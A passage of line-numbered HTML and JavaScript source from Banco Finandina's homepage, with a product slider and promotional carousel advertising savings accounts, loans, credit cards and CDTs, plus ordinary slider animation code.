4014 4015 <div class="btn-row"> 4016 <div class="app-btn"> 4017 <div class="icon-box"><img src="https://www.bancofinandina.com/hubfs/ico-flecha.svg" alt="Slide 2 â Icono flecha" width="22" height="22" loading="lazy"></div> 4018 <span>Enviar dinero</span> 4019 </div> 4020 <div class="app-btn"> 4021 <div class="icon-box"><img src="https://www.bancofinandina.com/hubfs/ico-bre-b.svg" alt="Slide 2 â Icono Bre-B" width="22" height="22" loading="lazy"></div> 4022 <span>Zona Bre-B</span> 4023 </div> 4024 <div class="app-btn"> 4025 <div class="icon-box"><img src="https://www.bancofinandina.com/hubfs/ico-pesos.svg" alt="Slide 2 â Icono pesos" width="22" height="22" loading="lazy"></div> 4026 <span>Pagos</span> 4027 </div> 4028 </div> 4029 4030 <div class="btn-wide"> 4031 <div class="icon-box"><img src="https://www.bancofinandina.com/hubfs/ico-billetera.svg" alt="Slide 2 â Icono billetera" width="22" height="22" loading="lazy"></div> 4032 <span>Mis productos</span> 4033 </div> 4034 </div> 4035 4036 <div class="transfer-badge"> 4037 <div class="badge-icon"><img src="https://www.bancofinandina.com/hs-fs/hubfs/logo-bre-b-1.png?width=60&height=60&name=logo-bre-b-1.png" alt="Slide 2 â Logo Bre-B" width="60" height="60" loading="lazy" srcset="https://www.bancofinandina.com/hs-fs/hubfs/logo-bre-b-1.png?width=30&height=30&name=logo-bre-b-1.png 30w, https://www.bancofinandina.com/hs-fs/hubfs/logo-bre-b-1.png?width=60&height=60&name=logo-bre-b-1.png 60w, https://www.bancofinandina.com/hs-fs/hubfs/logo-bre-b-1.png?width=90&height=90&name=logo-bre-b-1.png 90w, https://www.bancofinandina.com/hs-fs/hubfs/logo-bre-b-1.png?width=120&height=120&name=logo-bre-b-1.png 120w, https://www.bancofinandina.com/hs-fs/hubfs/logo-bre-b-1.png?width=150&height=150&name=logo-bre-b-1.png 150w, https://www.bancofinandina.com/hs-fs/hubfs/logo-bre-b-1.png?width=180&height=180&
4037name=logo-bre-b-1.png 180w" sizes="(max-width: 60px) 100vw, 60px"></div> 4038 <div class="badge-info"> 4039 <span class="badge-label">Transferencias por</span> 4040 <span class="badge-title">Bre-B</span> 4041 </div> 4042 </div> 4043 </div> 4044 </div> 4045 </div> 4046 </div> 4047 </div> 4048 </div> 4049 </div> 4050 4051 4052 <div class="fnd-hs-nav"> 4053 <button type="button" class="fnd-hs-arrow fnd-hs-arrow-prev" aria-label="Anterior"> 4054 <svg width="20" height="20" viewbox="0 0 24 24" fill="none" aria-hidden="true"><path d="M15 5 L8 12 L15 19" stroke="currentColor" stroke-width="3.2" stroke-linecap="round" stroke-linejoin="round" /></svg> 4055 </button> 4056 <div class="fnd-hs-dots" role="tablist" aria-label="Navegación del slider"></div> 4057 <button type="button" class="fnd-hs-arrow fnd-hs-arrow-next" aria-label="Siguiente"> 4058 <svg width="20" height="20" viewbox="0 0 24 24" fill="none" aria-hidden="true"><path d="M9 5 L16 12 L9 19" stroke="currentColor" stroke-width="3.2" stroke-linecap="round" stroke-linejoin="round" /></svg> 4059 </button> 4060 </div> 4061</section></div> 4062 4063</div><!--end widget-span --> 4064</div><!--end row--> 4065</div><!--end row-wrapper --> 4066 4067</div><!--end widget-span --> 4068</div><!--end row--> 4069</div><!--end row-wrapper --> 4070 4071<div class="row-fluid-wrapper row-depth-1 row-number-3 dnd-section"> 4072<div class="row-fluid "> 4073<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4074 4075<div class="row-fluid-wrapper row-depth-1 row-number-4 dnd-row"> 4076<div class="row-fluid "> 4077<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4078<div id="hs_cos_wrapper_module_17866489677233" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module widget-type-space" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><span class="hs-horizontal-spacer"></span></div> 4079 4080</div><!--end widget-span --> 4081</div><!--end row--> 4082</div><!--end row-wrapper --> 4083 4084</div><!--end widget-span --> 4085</div><!--end row--> 4086</div><!--end row-wrapper --> 4087 4088<div class="row-fluid-wrapper row-depth-1 row-number-5 dnd-section"> 4089<div class="row-fluid "> 4090<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4091 4092<div class="row-fluid-wrapper row-depth-1 row-number-6 dnd-row"> 4093<div class="row-fluid "> 4094<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4095<div id="hs_cos_wrapper_module_17866482347273" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module widget-type-space" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><span class="hs-horizontal-spacer"></span></div> 4096 4097</div><!--end widget-span --> 4098</div><!--end row--> 4099</div><!--end row-wrapper --> 4100 4101</div><!--end widget-span --> 4102</div><!--end row--> 4103</div><!--end row-wrapper --> 4104 4105<div class="row-fluid-wrapper row-depth-1 row-number-7 dnd-section"> 4106<div class="row-fluid "> 4107<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4108 4109<div class="row-fluid-wrapper row-depth-1 row-number-8 dnd-row"> 4110<div class="row-fluid "> 4111<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4112<span id="hs_cos_wrapper_widget_1782918966602" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><!-- custom widget definition not found (portalId: null, path: null, moduleId: null) --></span> 4113 4114</div><!--end widget-span --> 4115</div><!--end row--> 4116</div><!--end row-wrapper --> 4117 4118</div><!--end widget-span --> 4119</div><!--end row--> 4120</div><!--end row-wrapper --> 4121 4122<div class="row-fluid-wrapper row-depth-1 row-number-9 dnd-section"> 4123<div class="row-fluid "> 4124<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4125 4126<div class="row-fluid-wrapper row-depth-1 row-number-10 dnd-row"> 4127<div class="row-fluid "> 4128<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4129<div id="hs_cos_wrapper_dnd_area-dnd_partial-2-module-1" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module">
4129<div class="section-slider"> 4130 <main class="slider"> 4131 <section class="track hs-slider-track" aria-live="polite"> 4132 4133 <!-- Se añade aria-hidden para accesibilidad y data-index con index0 --> 4134 <article class="slide is-active " data-index="0" aria-hidden="false"> 4135 <div class="copy"> 4136 <p class="encabezado-title">Tu dinero, siempre libre</p> 4137 <h2 class="title">Cuenta de Ahorro</h2> 4138 <p class="desc"><span>Abre tu <strong>cuenta de ahorro digital</strong>, sin cuota de manejo y con retiros en TODOS los cajeros del paÃs. Desde el primer dÃa.</span></p> 4139 <a href="https://solicituddigital.bancofinandina.com:8097/abrir-cuenta-de-ahorro-flexidigital-plus?Origen=BotonHomeCuentaAhorroDigital" class="cta">Abrir cuenta</a> 4140 </div> 4141 <figure class="art"> 4142 <!-- Optimización LCP: La primera imagen carga 'eager' con alta prioridad, las demás 'lazy' --> 4143 4144 <img src="https://www.bancofinandina.com/hubfs/cuenta_ahorro.svg" alt="cuenta_ahorro" loading="eager" fetchpriority="high" width="251" height="401" decoding="async"> 4145 </figure> 4146 </article> 4147 4148 <!-- Se añade aria-hidden para accesibilidad y data-index con index0 --> 4149 <article class="slide " data-index="1" aria-hidden="true"> 4150 <div class="copy"> 4151 <p class="encabezado-title">Estrena carro sin complicaciones</p> 4152 <h2 class="title">Crédito de VehÃculo</h2> 4153 <p class="desc">Solicita tu <strong>crédito de vehÃculo</strong> con financiación de hasta el 110%. Todo digital, sin filas.</p> 4154 <a href="https://solicituddigital.bancofinandina.com/formulario-de-venta/credito-de-vehiculo?tipoProducto=CreditoVehiculo&Origen=BotonHomeVehiculo" class="cta">Solicitar crédito</a> 4155 </div> 4156 <figure class="art"> 4157 <!-- Optimización LCP: La primera imagen carga 'eager' con alta prioridad, las demás 'lazy' --> 4158 4159 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034685%20(1).png?width=521&height=234&name=Group%2034685%20(1).png" alt="Group 34685 (1)" loading="lazy" width="521" height="234" decoding="async" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034685%20(1).png?width=261&height=117&name=Group%2034685%20(1).png 261w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034685%20(1).png?width=521&height=234&name=Group%2034685%20(1).png 521w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034685%20(1).png?width=782&height=351&name=Group%2034685%20(1).png 782w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034685%20(1).png?width=1042&height=468&name=Group%2034685%20(1).png 1042w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034685%20(1).png?width=1303&height=585&name=Group%2034685%20(1).png 1303w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034685%20(1).png?width=1563&height=702&name=Group%2034685%20(1).png 1563w" sizes="(max-width: 521px) 100vw, 521px"> 4160 </figure> 4161 </article> 4162 4163 <!-- Se añade aria-hidden para accesibilidad y data-index con index0 --> 4164 <article class="slide " data-index="2" aria-hidden="true"> 4165 <div class="copy"> 4166 <p class="encabezado-title">Tu tranquilidad, asegurada</p> 4167 <h2 class="title">Crédito de Libranza</h2> 4168 <p class="desc"><span>Crédito de libranza <strong>para pensionados y docentes del sector público</strong>. Descuentos directos de nómina o mesada pensional. Cero estrés.</span></p> 4169 <a href="https://www.bancofinandina.com/productos/creditos/libranza/solicitud-de-libranza?origen_fe=BHomeLibranza" class="cta">Solicitar crédito</a> 4170 </div> 4171 <figure class="art"> 4172 <!-- Optimización LCP: La primera imagen carga 'eager' con alta prioridad, las demás 'lazy' --> 4173 4174 <img src="https://www.bancofinandina.com/hs-fs/hubfs/credito_libranza.png?width=278&height=351&name=credito_libranza.png" alt="credito_libranza" loading="lazy" width="278" height="351" decoding="async" srcset="https://www.bancofinandina.com/hs-fs/hubfs/credito_libranza.png?width=139&height=176&name=credito_libranza.png 139w, https://www.bancofinandina.com/hs-fs/hubfs/credito_libranza.png?width=278&height=351&name=credito_libranza.png 278w, https://www.bancofinandina.com/hs-fs/hubfs/credito_libranza.png?width=417&height=527&name=credito_libranza.png 417w, https://www.bancofinandina.com/hs-fs/hubfs/credito_libranza.png?width=556&height=702&name=credito_libranza.png 556w, https://www.bancofinandina.com/hs-fs/hubfs/credito_libranza.png?width=695&height=878&name=credito_libranza.png 695w, https://www.bancofinandina.com/hs-fs/hubfs/credito_libranza.png?width=834&height=1053&name=credito_libranza.png 834w" sizes="(max-width: 278px) 100vw, 278px"> 4175 </figure> 4176 </article> 4177 4178 <!-- Se añade aria-hidden para accesibilidad y data-index con index0 --> 4179 <article class="slide " data-index="3" aria-hidden="true"> 4180 <div class="copy"> 4181 <p class="encabezado-title">Compra lo que quieras, cuando quieras</p> 4182 <h2 class="title">Tarjetas de Crédito</h2> 4183 <p class="desc"><span>Solicita tu <strong>tarjeta de crédito en lÃnea</strong>, sin trámites engorrosos. Compra en cualquier parte del mundo y acumula kilómetros.</span></p> 4184 <a href="https://solicituddigital.bancofinandina.com/formulario-de-venta/tarjeta-de-credito/formulario-de-solicitud?t
4184ipoProducto=TarjetaCredito&Origen=BotonHomeTarjetaCredito" class="cta">Solicitar tarjeta</a> 4185 </div> 4186 <figure class="art"> 4187 <!-- Optimización LCP: La primera imagen carga 'eager' con alta prioridad, las demás 'lazy' --> 4188 4189 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Website/Home/tarjetas_credito.png?width=332&height=371&name=tarjetas_credito.png" alt="tarjetas_credito" loading="lazy" width="332" height="371" decoding="async" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Website/Home/tarjetas_credito.png?width=166&height=186&name=tarjetas_credito.png 166w, https://www.bancofinandina.com/hs-fs/hubfs/Website/Home/tarjetas_credito.png?width=332&height=371&name=tarjetas_credito.png 332w, https://www.bancofinandina.com/hs-fs/hubfs/Website/Home/tarjetas_credito.png?width=498&height=557&name=tarjetas_credito.png 498w, https://www.bancofinandina.com/hs-fs/hubfs/Website/Home/tarjetas_credito.png?width=664&height=742&name=tarjetas_credito.png 664w, https://www.bancofinandina.com/hs-fs/hubfs/Website/Home/tarjetas_credito.png?width=830&height=928&name=tarjetas_credito.png 830w, https://www.bancofinandina.com/hs-fs/hubfs/Website/Home/tarjetas_credito.png?width=996&height=1113&name=tarjetas_credito.png 996w" sizes="(max-width: 332px) 100vw, 332px"> 4190 </figure> 4191 </article> 4192 4193 <!-- Se añade aria-hidden para accesibilidad y data-index con index0 --> 4194 <article class="slide " data-index="4" aria-hidden="true"> 4195 <div class="copy"> 4196 <p class="encabezado-title">Haz que tu dinero trabaje por ti</p> 4197 <h2 class="title">CDTs</h2> 4198 <p class="desc"><span>Invierte en <strong>CDTs digitales</strong> con tasas de hasta el 12.50% E.A.* </span><br><span>Desde $100.000, sin papeleo. Todo desde tu celular.</span></p> 4199 <a href="https://bancofinandina.com/productos/cdts/simulador-cdt?Origen=BHomeCDTDigital" class="cta">Invertir ahora</a> 4200 </div> 4201 <figure class="art"> 4202 <!-- Optimización LCP: La primera imagen carga 'eager' con alta prioridad, las demás 'lazy' --> 4203 4204 <img src="https://www.bancofinandina.com/hs-fs/hubfs/cdts.png?width=260&height=379&name=cdts.png" alt="cdts" loading="lazy" width="260" height="379" decoding="async" srcset="https://www.bancofinandina.com/hs-fs/hubfs/cdts.png?width=130&height=190&name=cdts.png 130w, https://www.bancofinandina.com/hs-fs/hubfs/cdts.png?width=260&height=379&name=cdts.png 260w, https://www.bancofinandina.com/hs-fs/hubfs/cdts.png?width=390&height=569&name=cdts.png 390w, https://www.bancofinandina.com/hs-fs/hubfs/cdts.png?width=520&height=758&name=cdts.png 520w, https://www.bancofinandina.com/hs-fs/hubfs/cdts.png?width=650&height=948&name=cdts.png 650w, https://www.bancofinandina.com/hs-fs/hubfs/cdts.png?width=780&height=1137&name=cdts.png 780w" sizes="(max-width: 260px) 100vw, 260px"> 4205 </figure> 4206 </article> 4207 4208 <!-- Se añade aria-hidden para accesibilidad y data-index con index0 --> 4209 <article class="slide " data-index="5" aria-hidden="true"> 4210 <div class="copy"> 4211 <p class="encabezado-title">Tu proyecto, tu crédito</p> 4212 <h2 class="title">Créditos</h2> 4213 <p class="desc"><span>Solicita <strong>créditos en lÃnea</strong> para lo que necesites: libre inversión, compra de cartera o préstamos rápidos. Sin filas, sin complicaciones.</span></p> 4214 <a href="https://solicituddigital.bancofinandina.com/formulario-de-venta/credito-de-libre-inversion?tipoProducto=CreditoLibreInversion&origen=BotonHomeCreditosLinea" class="cta">Solicitar crédito</a> 4215 </div> 4216 <figure class="art"> 4217 <!-- Optimización LCP: La primera imagen carga 'eager' con alta prioridad, las demás 'lazy' --> 4218 4219 <img src="https://www.bancofinandina.com/hubfs/creditos.svg" alt="creditos" loading="lazy" width="326" height="395" decoding="async"> 4220 </figure> 4221 </article> 4222 4223 </section> 4224 4225 <!-- NAV --> 4226 <nav class="hs-slider-nav"> 4227 4228 <button aria-current="true" class="btn-desktop" data-to="0" aria-label="VehÃculo">
4229 <span class="hover-desktop">Cuenta de Ahorro</span> 4230 <span class="titulo-responsive-ico">Cuenta de Ahorro</span> 4231 4232 4233 4234 4235 4236 4237 4238 <img src="https://www.bancofinandina.com/hubfs/Group%2034713.svg" alt="Group 34713" loading="lazy" width="45" height="50" style="max-width: 100%; height: auto;" decoding="async"> 4239 4240 </button> 4241 4242 <button aria-current="false" class="btn-desktop" data-to="1" aria-label="VehÃculo"> 4243 <span class="hover-desktop">Crédito de VehÃculo</span> 4244 <span class="titulo-responsive-ico">Crédito de VehÃculo</span> 4245 4246 4247 4248 4249 4250 4251 4252 <img src="https://www.bancofinandina.com/hubfs/Group.svg" alt="Group" loading="lazy" width="66" height="37" style="max-width: 100%; height: auto;" decoding="async"> 4253 4254 </button> 4255 4256 <button aria-current="false" class="btn-desktop" data-to="2" aria-label="VehÃculo"> 4257 <span class="hover-desktop">Crédito de Libranza</span> 4258 <span class="titulo-responsive-ico">Crédito de Libranza</span> 4259 4260 4261 4262 4263 4264 4265 4266 <img src="https://www.bancofinandina.com/hubfs/Group-2.svg" alt="Group-2" loading="lazy" width="56" height="35" style="max-width: 100%; height: auto;" decoding="async"> 4267 4268 </button> 4269 4270 <button aria-current="false" class="btn-desktop" data-to="3" aria-label="VehÃculo"> 4271 <span class="hover-desktop">Tarjetas de Crédito</span> 4272 <span class="titulo-responsive-ico">Tarjetas de Crédito</span> 4273 4274 4275 4276 4277 4278 4279 4280 <img src="https://www.bancofinandina.com/hubfs/Group-3.svg" alt="Group-3" loading="lazy" width="59" height="38" style="max-width: 100%; height: auto;" decoding="async"> 4281 4282 </button> 4283 4284 <button aria-current="false" class="btn-desktop" data-to="4" aria-label="VehÃculo"> 4285 <span class="hover-desktop">CDTs</span> 4286 <span class="titulo-responsive-ico">CDTs</span> 4287 4288 4289 4290 4291 4292 4293 4294 <img src="https://www.bancofinandina.com/hubfs/Group%2034649.svg" alt="Group 34649" loading="lazy" width="35" height="50" style="max-width: 100%; height: auto;" decoding="async"> 4295 4296 </button> 4297 4298 <button aria-current="false" class="btn-desktop" data-to="5" aria-label="VehÃculo"> 4299 <span class="hover-desktop">Créditos</span> 4300 <span class="titulo-responsive-ico">Créditos</span> 4301 4302 4303 4304 4305 4306 4307 4308 <img src="https://www.bancofinandina.com/hubfs/Group-1.svg" alt="Group-1" loading="lazy" width="35" height="47" style="max-width: 100%; height: auto;" decoding="async"> 4309 4310 </button> 4311 4312 <div class="indicator hs-slider-indicator"></div> 4313 </nav> 4314 </main> 4315 4316
4316<script> 4317 (function(){ 4318 // raÃz del módulo (evita colisiones con otros elementos de la página) 4319 const root = document.currentScript.closest('.section-slider'); 4320 if (!root) return; 4321 4322 // ====== SLIDER ====== 4323 const slides = Array.from(root.querySelectorAll('.slide')); 4324 const buttons = Array.from(root.querySelectorAll('.hs-slider-nav button')); 4325 const nav = root.querySelector('.hs-slider-nav'); 4326 const indicator = root.querySelector('.hs-slider-indicator'); 4327 const track = root.querySelector('.hs-slider-track'); 4328 4329 // Normaliza el intervalo (fallback a 3000ms si no viene) 4330 const INTERVAL_MS = (parseInt('5', 10) || 3) * 1000; 4331 const COUNT = Math.min(slides.length, buttons.length); 4332 4333 if (!COUNT || !nav || !indicator) return; // nada que animar 4334 4335 let index = 0; 4336 let timer = null; 4337 4338 // Cacheamos la MediaQuery para no recalcular en cada resize innecesariamente 4339 const mql = window.matchMedia('(max-width:780px)'); 4340 const isMobile = () => mql.matches; 4341 4342 // Optimización: Agrupa las actualizaciones del DOM relacionadas a la accesibilidad 4343 function updateAria(i){ 4344 buttons.forEach((b, ix) => b.setAttribute('aria-current', ix === i ? 'true' : 'false')); 4345 slides.forEach((s, ix) => s.setAttribute('aria-hidden', ix === i ? 'false' : 'true')); 4346 } 4347 4348 function centerActiveIfMobile(){ 4349 if (!isMobile()) return; 4350 const btn = buttons[index]; 4351 const target = btn.offsetLeft - (nav.clientWidth - btn.clientWidth)/2; 4352 nav.scrollTo({ left: target, behavior: 'smooth' }); 4353 } 4354 4355 function moveIndicator(){ 4356 // Fase 1: Lecturas del DOM (Batch DOM Reads) 4357 const mobile = isMobile(); 4358 const navRect = nav.getBoundingClientRect(); 4359 const railPad = parseInt(getComputedStyle(nav).getPropertyValue('--rail-pad')) || 12; 4360 const navWidth = nav.clientWidth; 4361 const btn = buttons[index]; 4362 4363 let newWidth, newLeft; 4364 4365 if (mobile){ 4366 const railWidth = navWidth - railPad*2; 4367 const segW = railWidth / COUNT; 4368 newWidth = segW; 4369 newLeft = railPad + segW * index; 4370 } else { 4371 const svg = btn.querySelector('svg') || btn; 4372 const svgRect = svg.getBoundingClientRect(); 4373 const cx = (svgRect.left - navRect.left) + (svgRect.width / 2); 4374 newWidth = Math.max(180, Math.round(svgRect.width * 0.7)); 4375 newLeft = cx - newWidth/2; 4376 } 4377 4378 // Fase 2: Escrituras del DOM (Batch DOM Writes usando RAF) 4379 requestAnimationFrame(() => { 4380 indicator.style.width = newWidth + 'px'; 4381 indicator.style.left = newLeft + 'px'; 4382 }); 4383 } 4384 4385 function setActive(i, user=false){ 4386 slides[index].classList.remove('is-active'); 4387 index = (i + COUNT) % COUNT; 4388 slides[index].classList.add('is-active'); 4389 4390 updateAria(index); 4391 centerActiveIfMobile(); 4392 moveIndicator(); 4393 if (user) restart(); 4394 } 4395 4396 function next(){ setActive(index + 1); } 4397 function start(){ stop(); timer = setInterval(next, INTERVAL_MS); } 4398 function stop(){ if (timer){ clearInterval(timer); timer = null; } } 4399 function restart(){ stop(); start(); } 4400 4401 // ====== SWIPE / DRAG LOGIC ====== 4402 let startX = 0; 4403 let currentX = 0; 4404 let isDragging = false; 4405 const SWIPE_THRESHOLD = 50; // PÃxeles necesarios para cambiar de slide 4406 4407 function dragStart(e) { 4408 isDragging = true; 4409 startX = e.type.includes('mouse') ? e.pageX : e.touches[0].clientX; 4410 currentX = startX; 4411 stop(); // Pausamos el autoplay mientras arrastra 4412 } 4413 4414 function dragMove(e) { 4415 if (!isDragging) return; 4416 currentX = e.type.includes('mouse') ? e.pageX : e.touches[0].clientX; 4417 } 4418 4419 function dragEnd() { 4420 if (!isDragging) return; 4421 isDragging = false; 4422 4423 const diffX = startX - currentX; 4424 4425 if (Math.abs(diffX) > SWIPE_THRESHOLD) { 4426 if (diffX > 0) {
4427 setActive(index + 1, true); // Swipe a la izquierda -> Siguiente 4428 } else { 4429 setActive(index - 1, true); // Swipe a la derecha -> Anterior 4430 } 4431 } else { 4432 start(); // Si el movimiento fue muy corto, retomamos el autoplay 4433 } 4434 } 4435 4436 // Eventos Táctiles (Móviles / Tablets) - passive:true mejora el rendimiento de scroll 4437 track.addEventListener('touchstart', dragStart, { passive: true }); 4438 track.addEventListener('touchmove', dragMove, { passive: true }); 4439 track.addEventListener('touchend', dragEnd); 4440 4441 // Eventos de Ratón (Escritorio) 4442 track.addEventListener('mousedown', dragStart); 4443 track.addEventListener('mousemove', dragMove); 4444 track.addEventListener('mouseup', dragEnd); 4445 track.addEventListener('mouseleave', dragEnd); 4446 4447 // ====== EVENTOS DE NAVEGACIÃN Y HOVER ====== 4448 buttons.forEach((btn, i)=>{ 4449 btn.addEventListener('click', ()=> setActive(i, true)); 4450 btn.addEventListener('keydown', e=>{ 4451 if (e.key === 'Enter' || e.key === ' '){ e.preventDefault(); setActive(i, true); } 4452 }); 4453 }); 4454 4455 // Pausar autoplay en hover/focus 4456 [track, nav].forEach(el=>{ 4457 el.addEventListener('mouseenter', stop); 4458 el.addEventListener('mouseleave', start); 4459 el.addEventListener('focusin', stop); 4460 el.addEventListener('focusout', start); 4461 }); 4462 4463 // Optimización: Debounce para evitar sobrecarga durante eventos de resize 4464 let resizeTimeout; 4465 function handleResize() { 4466 clearTimeout(resizeTimeout); 4467 resizeTimeout = setTimeout(() => { 4468 centerActiveIfMobile(); 4469 moveIndicator(); 4470 }, 100); 4471 } 4472 4473 window.addEventListener('resize', handleResize); 4474 4475 if ('ResizeObserver' in window){ 4476 const ro = new ResizeObserver(handleResize); 4477 ro.observe(nav); 4478 } 4479 4480 // Init 4481 setActive(0); 4482 start(); 4483 })(); 4484 </script>
4484 4485</div> 4486 4487</div> 4488 4489</div><!--end widget-span --> 4490</div><!--end row--> 4491</div><!--end row-wrapper --> 4492 4493</div><!--end widget-span --> 4494</div><!--end row--> 4495</div><!--end row-wrapper --> 4496 4497<div class="row-fluid-wrapper row-depth-1 row-number-11 dnd-section"> 4498<div class="row-fluid "> 4499<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4500 4501<div class="row-fluid-wrapper row-depth-1 row-number-12 dnd-row"> 4502<div class="row-fluid "> 4503<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4504<span id="hs_cos_wrapper_widget_1782917949090" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><!-- custom widget definition not found (portalId: null, path: null, moduleId: null) --></span> 4505 4506</div><!--end widget-span --> 4507</div><!--end row--> 4508</div><!--end row-wrapper --> 4509 4510</div><!--end widget-span --> 4511</div><!--end row--> 4512</div><!--end row-wrapper --> 4513 4514<div class="row-fluid-wrapper row-depth-1 row-number-13 dnd-section"> 4515<div class="row-fluid "> 4516<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4517 4518<div class="row-fluid-wrapper row-depth-1 row-number-14 dnd-row"> 4519<div class="row-fluid "> 4520<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4521<span id="hs_cos_wrapper_widget_1782917882275" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><!-- custom widget definition not found (portalId: null, path: null, moduleId: null) --></span> 4522 4523</div><!--end widget-span --> 4524</div><!--end row--> 4525</div><!--end row-wrapper --> 4526 4527</div><!--end widget-span --> 4528</div><!--end row--> 4529</div><!--end row-wrapper --> 4530 4531<div class="row-fluid-wrapper row-depth-1 row-number-15 dnd-section"> 4532<div class="row-fluid "> 4533<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4534 4535<div class="row-fluid-wrapper row-depth-1 row-number-16 dnd-row"> 4536<div class="row-fluid "> 4537<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4538<div id="hs_cos_wrapper_dnd_area-dnd_partial-8-module-2" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><div class="section-carrusel"> 4539 4540<section class="section"> 4541 <h2>Lo mejor de Banco Finandina</h2> 4542 <p>te espera</p> 4543</section> 4544 4545<div class="carousel" aria-roledescription="carrusel"> 4546 <div class="viewport js-carousel-viewport" aria-live="polite"> 4547 <div class="track js-track"> 4548 4549 4550 <!-- SLIDE --> 4551 <section class="slide" style="background-image:url('https://www.bancofinandina.com/hubfs/Property%201=Variant2%20%283%29%20%281%29.png');"> 4552 <div class="copy"> 4553 <h3 class="headline">¿Primera vez o nuevo comienzo? </h3> 4554 <p class="sub">Abre y recarga tu CDT para activar tu tarjeta garantizada hoy mismo. Construye o recupera tu historial crediticio.</p> 4555 <a class="btn" href="https://www.bancofinandina.com/productos/tarjetas-credito/solicitar-tarjeta-de-credito-digital?origen_fe=BSliderHomeTGarantizada">¡La quiero!</a> 4556 </div> 4557 <div aria-hidden="true"></div> 4558 </section> 4559 4560 <!-- SLIDE --> 4561 <section class="slide" style="background-image:url('https://www.bancofinandina.com/hubfs/AI-Generated%20Media/Images/Red%20Used%20Car%20on%20Side%20Roadway.png');"> 4562 <div class="copy"> 4563 <h3 class="headline">¡Financiamos vehÃculos hasta con 14 años de antigüedad!</h3> 4564 <p class="sub">Solicita tu crédito para vehÃculo usado con financiación de hasta el 100% </p> 4565 <a class="btn" href="https://solicituddigital.bancofinandina.com/formulario-de-venta/credito-de-vehiculo/formulario-de-solicitud?t
4565ipoProducto=CreditoVehiculo&origen=BSliderHomeVehiculos">Solicitar crédito</a> 4566 </div> 4567 <div aria-hidden="true"></div> 4568 </section> 4569 4570 <!-- SLIDE --> 4571 <section class="slide" style="background-image:url('https://www.bancofinandina.com/hubfs/banner-inversion.png');"> 4572 <div class="copy"> 4573 <h3 class="headline">¡Pon tu dinero a trabajar en minutos!</h3> 4574 <p class="sub">Abre tu CDT digital y gana más con las increÃbles tasas de interés que tenemos para ti.</p> 4575 <a class="btn" href="https://bancofinandina.com/productos/cdts/simulador-cdt?Origen=BSliderHomeCDTDigital">Invertir ahora</a> 4576 </div> 4577 <div aria-hidden="true"></div> 4578 </section> 4579 4580 4581 </div> 4582 4583 <!-- Flechas grandes --> 4584 <div class="nav" aria-hidden="false"> 4585 <button class="arrow prev js-prev-big" aria-label="Anterior"> 4586 <svg viewbox="0 0 24 24"><path d="M15.41 7.41 14 6l-6 6 6 6 1.41-1.41L10.83 12z" /></svg> 4587 </button> 4588 <button class="arrow next js-next-big" aria-label="Siguiente"> 4589 <svg viewbox="0 0 24 24"><path d="M8.59 16.59 10 18l6-6-6-6-1.41 1.41L13.17 12z" /></svg> 4590 </button> 4591 </div> 4592 4593 <!-- Paginación EXACTA --> 4594 <div class="pager js-pager"> 4595 <button class="mini-btn js-prev-mini" aria-label="Slide anterior"> 4596 <svg viewbox="0 0 24 24"><path d="M14 6 15.41 7.41 10.83 12l4.58 4.59L14 18l-6-6z" /></svg> 4597 </button> 4598 4599 <div class="dots" role="tablist" aria-label="Paginación"> 4600 4601 <button class="dot js-dot active " role="tab" aria-selected="true" aria-label="Ir a slide 1" tabindex="0"></button> 4602 4603 <button class="dot js-dot " role="tab" aria-selected="false" aria-label="Ir a slide 2" tabindex="-1"></button> 4604 4605 <button class="dot js-dot " role="tab" aria-selected="false" aria-label="Ir a slide 3" tabindex="-1"></button> 4606 4607 </div> 4608 4609 <button class="mini-btn js-next-mini" aria-label="Siguiente slide"> 4610 <svg viewbox="0 0 24 24"><path d="M10 6 8.59 7.41 13.17 12l-4.58 4.59L10 